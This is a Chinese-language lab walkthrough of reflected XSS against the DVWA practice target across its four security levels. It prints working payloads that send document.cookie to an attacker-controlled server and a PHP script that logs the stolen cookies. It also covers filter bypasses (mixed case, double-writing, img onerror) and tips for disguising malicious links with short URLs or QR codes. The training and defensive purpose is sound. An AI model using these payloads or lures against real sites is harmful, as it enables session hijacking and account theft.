DVWA靶机-反射性XSS漏洞(Reflected)
DVWA靶机-反射性XSS漏洞(Reflected)
DVWA靶机-暴力破解(Brute Force) && DVWA靶机的四个安全等级
DVWA靶机-命令注入漏洞(Command Injection)
DVWA靶机-文件包含漏洞(File Inclusion)
DVWA靶机-文件上传漏洞(File uploads)
DVWA靶机-跨站请求伪造(CSRF)
XSS跨站脚本攻击
XSS(Cross Site Script):全称为跨站脚本攻击,为了与CSS(Cascading Style Sheet)层叠样式表有所区别,所以在安全领域称之为XSS。
XSS攻击:通常指黑客通过HTML注入(控制输入变量),插入恶意脚本,从而在被攻击者浏览网页时,加载并执行攻击者恶意制造的网页程序,通常指JS,实际可包含java、VBscript、ActiveX、Flash、html,攻击成功后,攻击者可能得到一定的权限,私密网页内容,会话,cookie等。
这种行为最初出现之时,所有的XSS攻击案例都是跨域行为,所以叫做跨站脚本。时至今日,随着WEB端功能的复杂化,应用化,是否跨站已经不重要但是XSS这个名字依然留存下来。
反射性XSS挖掘方法
1.反射型XSS漏洞可能存在的环境
我们在许多网页中可能都有搜索栏,在搜索栏中输入关键词查找后,页面回回显全部的或者部分的关键词,且在url中也会出现该关键词,此时该网页可能就存在反射性XSS漏洞。
此时可以做一个简单的测试,测试是否为GET型传参
alert()函数: 弹窗函数
2.漏洞检验-恶意代码化
此时漏洞就发现了,我们可以编辑恶意型的代码插入url中执行.
3.生成链接,诱导被攻击者点击
当发现这个漏洞后,我们需要对插入了恶意代码的链接进行变形、比如长链接变短链接、长链接变二维码、图片链接等,目的就是要诱导用户来点击该链接,从而达成攻击的效果。
1.DVWA-LOW等级下的反射型XSS漏洞
(1).本地用户登录,测试XSS漏洞所在位置
在LOW等级下,Reflectd型XSS的页面回显如下,在搜索栏里输入123,页面回显123,且在url中123也出现,此时该页面可能存在反射型XSS漏洞,同时也不存在任何防护的安全策略,我们可以实施攻击。
可以查到搜索栏的源代码
在回显Hello 123时使用的为<pre>Hello 123</pre>
此时我们可以考虑打破<pre>的闭合,在输入中加入其它函数或者标签。
alert() && confirm() && prompt()函数: 都为弹窗函数
我们在url中name后面加入<script>alert(1)</script>打破<pre>闭合,此时alert()函数执行,弹出1
此时可以进行一些有攻击性的操作,我们在url中构造出获取被攻击者cookie值的函数,盗取用户的cookie值。
(2).构造恶意链接、盗取用户cookie
document.location: 指定cookie传送站点
10.113.241.2: 为攻击者服务器
document.cookie: 获取当前用户的cookie值
http://192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=<script>document.location='http://10.113.241.2/xss.php?cookie=' +document.cookie;</script>
xss.php:为LOW等级下获取cookie的处理方法
//xss.php <?php$cookie = $_GET['cookie']; //获取cookie变量的值$log = fopen("cookie.txt","w"); //创建并打开一个cookie.txt的文本权限为写入fwrite($log,$cookie."\n"); //把cookie的值写入创建的文本fclose($log); //关闭文本 ?> <h1>404<h1> <h2>file not found.<h2>当用户点击此链接时,通过document.cookie函数获取当前用户的cookie值,赋给站点的xss.php文件,xss.php中定义文件操作,将获取的cookie写入cookie.txt文件,此时攻击者就获取了用户的cookie值。
如下是通过转码的恶意链接,用户点击这个链接会执行上述操作
192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F10.113.241.2%2Fxss.php%3Fcookie%3D%27+%2Bdocument.cookie%3B%3C%2Fscript%3E被攻击者点击该链接后就会弹窗到如下页面
要使该链接变的更加有迷惑性,可以进行长短链接的变换,链接生成二维码,或者具有诱惑性的图片链接等。
图中为用户点击恶意链接后在攻击者本地生成的cookie.txt文件,里面已经写入了用户的cookie值。
(3).以用户的身份认证(cookie值)登录网站
在DVWA中对于cookie没有防范措施,也就是说,在用户登录的情况下,攻击者可以利用用户的cookie,直接与服务器获取连接
在这块,由于之前的cookie,我在浏览器中清除了一次,在此处为了演示步骤,直接用cookie值连接,原理相同
LOW 等级下的反射性XSS源码:
XSS (Reflected) Source:
array_key_exists()函数: 检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false
array_key_exists(key,array):key和array都是必须存在的,key为规定键名,array为规定数组。
在源终GET得到的值是以数组的形式,然后判断GET得到的name是不是空,不为空,执行echo语句。
<?php// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end userecho '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; }?>2.DVWA-Medium等级下的反射型XSS漏洞
(1).漏洞测试
在Medium等级下,必然存在着一些过滤策略,同low等级一样,漏洞的位置是一样的
此时我们用alert()函数,弹窗函数,测试是否能利用<script></script>标签是否可用
此时发现alert()函数不能弹窗,且页面回显alert(1),此时我们可以分析到<script></script>未能起到作用,应该是被过滤,我们查看Medium等级下的源码
XSS (Reflected) Source:
str_repalce()函数: 在此处过滤了标签<script></script>,将GET中输入中的script标签替换为空
绕过str_replace()函数:
1.双写绕过,双写<script>
2.大小写字母绕过,str_replace()函数替换的为字符串,此时可以将script标签改为大写绕过
<ScRipt>alert(1)<ScRipt>(2).构造恶意链接、盗取用户cookie
同low等级一样,构造的恶意链接为
http://192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=<ScRipt>document.location='http://10.113.241.2/xss1.php?cookie=' +document.cookie;</ScRipt>
与low等级不同的是,<ScRipt></ScRipt>
xss1.php:为Medium等级下获取cookie的处理方法
创建的用户保存用户cookie的文档为,cookie1.txt文档
当用户点击此链接时,通过document.cookie函数获取当前用户的cookie值,赋给站点的xss1.php文件,xss1.php中定义文件操作,将获取的cookie写入cookie1.txt文件,此时攻击者就获取了用户的cookie值。
如下是通过转码的恶意链接,用户点击这个链接会执行上述操作
192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=%3CScRipt%3Edocument.location%3D%27http%3A%2F%2F10.113.241.2%2Fxss1.php%3Fcookie%3D%27+%2Bdocument.cookie%3B%3C%2FScRipt%3E
要使该链接变的更加有迷惑性,可以进行长短链接的变换,链接生成二维码,或者具有诱惑性的图片链接等。
此时cookie1.txt中已经写入cookie值
(3).以用户的身份认证(cookie值)登录网站
在DVWA中对于cookie没有防范措施,也就是说,在用户登录的情况下,攻击者可以利用用户的cookie,直接与服务器获取连接
3.DVWA-High等级下的反射性XSS漏洞
在High等级下必然定义了比Medium等级更强的安全策略,我们查看其源码
High等级下的反射性XSS源码:
preg_replace()函数: 函数用于正则表达式的搜索和替换,替换为空,i为不区分大小写
绕过方法:
使用其他的标签,<img src=x onerror=alert(1)>
img调用图片,在此处,当图片的src所指的路径不存在图片,则弹出对话框,回显1
由于preg_replace()函数,此时像low和medium等级的构造恶意链接方式不可用
4.impossible等级
impossible等级防范XSS反射型的一个案例,相当强大
impossible等级源码:
impossible Reflected XSS Source:
htmlspecialchars()函数: 将特殊字符转换为 HTML 实体
token机制: 随机值
总结
以上是生活随笔为你收集整理的DVWA靶机-反射性XSS漏洞(Reflected)的全部内容,希望文章能够帮你解决所遇到的问题。
- 上一篇: 新书推荐——Windows Server
- 下一篇: Google云计算原理学习架构图